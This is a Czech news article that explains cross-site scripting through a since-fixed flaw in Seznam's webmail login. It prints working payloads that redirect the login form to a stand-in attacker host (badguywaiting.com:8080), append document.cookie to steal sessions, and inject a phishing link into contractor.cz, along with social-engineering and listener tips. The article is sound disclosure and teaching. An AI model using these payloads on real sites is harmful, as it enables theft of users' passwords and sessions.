E-mail Seznamu obsahoval chybu v zabezpečení

Cross-site scripting (zkráceně XSS) spolu s SQL injection jsou asi dvě nejběžnější bezpečnostní chyby. Obě jsou způsobené tím, že programátor stránek nedostatečně (resp. vůbec) neošetří vstup od uživatele.

Související odkazy

Slovník
atribut
backslash
cookies
firewall
HTML
HTTP
HTTPS
JavaScript
Perl
proxy
server
skript
SSL
SQL
URL

Minulý týden mě zarazila zpráva, že Gmail je zranitelný na XSS, pomocí tohoto postupu bylo možné přihlásit se jako uživatel bez znalosti hesla. U firmy jako je Google je taková chyba nečekaná. Pojďme si povědět, co XSS je a v čem spočívá XSS útok.

Co je XSS a kde na něj narazíme

XSS útok je založený na schopnosti uživatele vložit do stránky nějaký kód (HTML nebo JavaScript) použitím speciálně formulovaného linku nebo vstupu do formuláře. Typickým příkladem jsou přihlašovací stránky: vložíte jméno a heslo. Pokud jméno/heslo nesouhlasí, server vygeneruje stránku, kde oznamuje, že použitá kombinace jména/hesla není správná. Navíc, což je důležité, vyplní do políčka „jméno“ váš vstup. Pokud není správně ošetřen vstup – při vložení metaznaků jako jsou třeba uvozovky, apostrovy atd., jsme schopní doplnit do stránky vlastní kód.

Příklad ze čtvrtka minulého týdne na email.seznam.cz:

Vyplníme do políčka "Jméno" např. aaaasdfasdfasdfasdf. Výsledek bude vypadat zhruba takhle:

Dále otestujeme, či jsou ošetřeny metaznaky. Vložíme včetně uvozovek:

">aaa

Na vrácené stránce se objeví něco, co tam nemá co dělat:

aaa" type="text" maxlength="40" size="20" />

To není nic jiného než důkaz, že stránka (skript) je zranitelná na XSS. Lze říci, že náš vstup „vytekl“ z HTML entity input, z atributu value. Kus kódu z vygenerované stránky vypadá takto (náš vstup vypsaný skriptem do stránky je podtržený):

<input id="username" name="username" value="">aaa" type="text" maxlength="40" size="20" /> <b>@seznam.cz</b>

Jak toho zneužít? Například pro krádež uživatelského hesla. Do políčka „jméno“ vložíme:

" onkeydown="document.forms[0].action=`http://badguywaiting.com:8080`

Opět se objeví stránka, která nám říká, že takový uživatel neexistuje. Ale: pokud vyplníme jméno, spustí se javascriptový onkeydown a přesměruje formulář.

Po kliknutí na „přihlásit se“ se bude přehlížet snažit připojit na http://badguywaiting.com:8080. Jak se tento kód dostal na stránku? Tak, že skript vypsal uživatelský strup bez ošetření do stránky.

<form id="prihlasovaci-formular" name="login" action="http://email.seznam.cz/index.py/loginProcess" method="post" enctype="multipart/form-data">
<div><label for="username">uživatelské jméno:</label><br />
<input id="username" name="username" value="" onkeydown="document.forms[0].action=`http://badguywaiting.com:8080`" type="text" maxlength="40" size="20" /> <b>@seznam.cz</b>
<input type="hidden" name="user_domain" value="seznam.cz"/> <div class="error">

Výsledkem je syntakticky správný HTML/JavaScript kód, který způsobuje přesměrování. Stejný efekt jako napsání předchozího vstupu do formuláře, je následující odkaz:

http://email.seznam.cz/index.py/login?username=%22
+onkeydown%3D%22document.forms%5B0%5D.action%3D%27
http%3A%2F%2Fbadguywaiting.com%3A8080%27&nonexistentUser=1

nebo URL zakódovaná verze:

http://email.seznam.cz/index.py/login?username=%22%20%6f%6e%6b%65%79%64%6f%77%6e%3d
%22%64%6f%63%75%6d%65%6e%74%2e%66%6f%72%6d
%73%5b%30%5d%2e%61%63%74%69%6f%6e%3d%27%68%74%74%70%3a%2f%2f%62%61%64%67%75%79
%77%61%69%74%69%6e%67%2e%63%6f%6d%3a%38%30%38%30%27&nonexistentUser=1

Kdybychom chtěli získat heslo konkrétního uživatele, stačí poslat mu tento odkaz a přesvědčit ho, aby na něj klikl a nalogoval se. Je potřeba trochu sociálního inženýrství, ale jde to. Například stačí uživateli poslat mail, který se tváří, že je od správce (podvrhnutí e-mailové adresy odesílatele je jednoduché). (Poznámka: výše uvedený postup již v tuto chvíli na Seznamu nefunguje, ale dobře ilustruje možnosti zneužití této chyby a lze jej použít na jiných serverech, které jsou touto chybou stále ještě ohroženy.)

Potom stačí čekat na serveru badguywaiting.com na portu 8080 a zapsat si jméno a heslo. Pokud chceme být ještě důslednější, můžeme obratem poslat zpět HTTP 302 Found a do položky Location dát správný odkaz, který uživatele přihlásí a ten tak nezíská absolutně žádné podezření. Formulář používá metodu POST, ale je možné použít také GET, protože skript na obě metody zareaguje stejně. Proto můžeme udělat takový trik s Location. Napsat takovýto program je otázkou asi 30 minut a 50 řádků v Perlu.

Aby náš pokus měl vyšší šanci na úspěch, bylo by dobré odstranit ze stránky text Uživatel " onkeydown="document.forms[0].action=`http://badguywaiting.com:8080` neexistuje. Chcete se zaregistrovat?

V tomto případě stačí odstranit z odkazu parametr nonexistentUser, takto:

http://email.seznam.cz/index.py/login?username=%22+onkeydown%3D%22document.
forms%5B0%5D.action%3D%27http%3A%2F%2Fbadguywaiting.com%3A8080%27

To je shodou okolností vlastnost daného skriptu. Jak bychom to ale udělali, kdyby skript tuto vlastnost neměl? Použitím komentáře. Nevýhoda je, že komentář nelze zavřít a proto vytvoříme syntakticky nesprávný HTML kód. Nevadí, prohlížeče si s ním poradí, i když každý jinak.

Pro Mozillu Firefox a Mozillu vyhovuje tento:

http://email.seznam.cz/index.py/login?username=%22+onkeydown%3D%22document.forms%5B0%5D.action
%3D%27http%3A%2F%2Fbadguywaiting.com%3A8080%27%22%3E%3C%21--&nonexistentUser=1

Poznámka: je to ekvivalent vstupu: " onkeydown="document.forms[0].action=`http://badguywaiting.com:8080`"><!—

 

Výsledky z prohlížečů Firefox 1.0 PR a Mozilla 1.7

Internet Explorer se s chybným HTML kódem vypořádá jinak, je potřeba doplnit formulář.

http://email.seznam.cz/index.py/login?username=%22+onkeydown
%3D%22document.forms%5B0%5D.action%3D%27http%3A%2F%2Fbadguywaiting.com
%3A8080%27%22%3E%3Cbr%3Eheslo%3A%3Cbr%3E%3Cinput+type%3D%22
password%22+name%3D%22password%22%3E%3Cbr%3E%3Cinput+type%3D%22
submit%22+value%3D%22prihlasit+se%22%3E%3C%2Fform%3E%3C%21--&nonexistentUser=1

Screenshot z Internet Exploreru 6.0.2900.2180 s SP2 na Windows XP

Některé stránky (např. zmiňovaný Gmail) používají na autentifikaci cookies. Jak se dají ukradnout cookies? Například použitím takovéhoto vstupu:

" onkeydown="document.forms[0].action=`http://badguywaiting.com:8080/?` + document.cookie

Výraz document.cookie nám zaručí, že na konci linku, který obdržíme, budou připojené cookies.

Ne každé escapování je dobré escapování

Obvykle se metaznaky escapují stylem, že " resp. ` se escapne na \" resp. \`. To je dobré, jakmile je vstup dále předávaný aplikaci, která takovému escapování rozumí (např. shell). Ale HTML escapování je jiné, se znaménkem backslash nelze vystačit. Příklad:

http://contractor.cz

Vložíme do políčka `Login...` řetězec:

"><br><a href=http://badguywaiting.com:8080>Kliknite sem pro bezpecne prihlaseni</a><br><a name="sdf

Ekvivalentní odkaz: http://www.contractor.cz/php/index.php?action=login&loginMode=
full&loginUrl=&cat=300&lang=1&loginName=
%22%3E%3Cbr%3E%3Ca+href%3Dhttp%3A%2F%2Fbadguywaiting.com
%3A8080%3EKliknite+sem+pro+bezpecne+prihlaseni
%3C%2Fa%3E%3Cbr%3E%3Ca+name%3D%22sdf&loginPswd=

Výsledek

Všimněte si, že v políčku Login máme backslash. To je právě kvůli tomu, že uvozovky byly escapnuté na \". Bohužel HTML takovému escapovaní nerozumí. Uvozovky je potřeba nahradit ". Na druhou stranu, tyto backslashe zabraňují vložit javascriptový kód, protože skript na stránce escapuje také apostrofy. Za povšimnutí ještě stojí, že v elementu <a> okolo http://badguywaiting.com:8080 nejsou uvozovky, protože jejich escapování by nám vadilo.

V případě této stránky se asi řetězce „Chyba: Chybné uživatelské jméno nebo heslo.“ nezbavíme, protože je v kódu ještě předtím, než se ke slovu dostane náš vstup.

XSS a SSL

Pěknou vlastností XSS je, že se dají modifikovat také stránky zabezpečené skrze SSL a certifikát bude stále platný. V tomto smyslu dává SSL uživatelům falešný pocit bezpečí. Při přechodu z HTTPS na HTTP ale prohlížeče zpravidla zobrazí varovnou stránku, že přecházíte na nešifrovanou stránku. Opět závisí na uživateli, jak se s tím vypořádá, zda se mu to bude zdát podezřelé. Je třeba poznamenat, že stránky zabezpečené pomocí HTPS mají běžně nezabezpečené linky, takže ani to možná nevzbudí zvýšenou pozornost.

Jinou možností je použít přechod na jinou zabezpečenou stránku útočníku (chráněnou s SSL). Můžeme si na to použít self-signed certifikát. Máme dvě možnosti: zaregistrovat si doménu puvodni-jmeno-site-secure.cz, čímž se docílí zdání legitimnosti, nebo doufat, že uživatel odklikne OK při varování prohlížeče. I mezi servery se toto stává, například je vydaný jeden certifikát, ale server používá load-balancing mezi několika servery bez reverzní proxy, tak při přesměrování vyhlásí prohlížeč varování, že podpis sice sedí, ale pro jméno serveru se změnilo. Proto možná tento způsob nebude až tak nápadný.

XSS, HTTP response splitting a SQL injection dovolují poměrně úspěšné a závažné útoky, kterým se dá zabránit velmi jednoduše: kontrolovat vstup od uživatele. Jakmile v daném políčku např. nemají co dělat alfanumerické znaky, nejlepší je jejich úplně odstranění. Jinak správně escapovat (tj. podle toho, jaká aplikace bude vstup dále zpracovávat).

Je to však úkol pro programátora webové aplikace, administrátor s tím nemůže nic udělat (jedině, že by po programátorovi kontroloval kód). Je to útok na aplikační vrstvě, nezabrání mu žádný firewall, ani IDS/IPS systémy nepomohou. Signatury pro IDS/IPS se sice teoreticky vytvořit dají, ale spíše budou vytvářet falešné poplachy než skutečně pomáhat.

Poznámka redakce: Společnost Seznam jsme na tuto chybu upozornili koncem minulého týdne. V tuto chvíli je již opravena.

Diskuze (43) Další článek: Soubory: Zdarma česko-anglický slovník Verdict!

Témata článku: , , , , , , , , , , , , , , , ,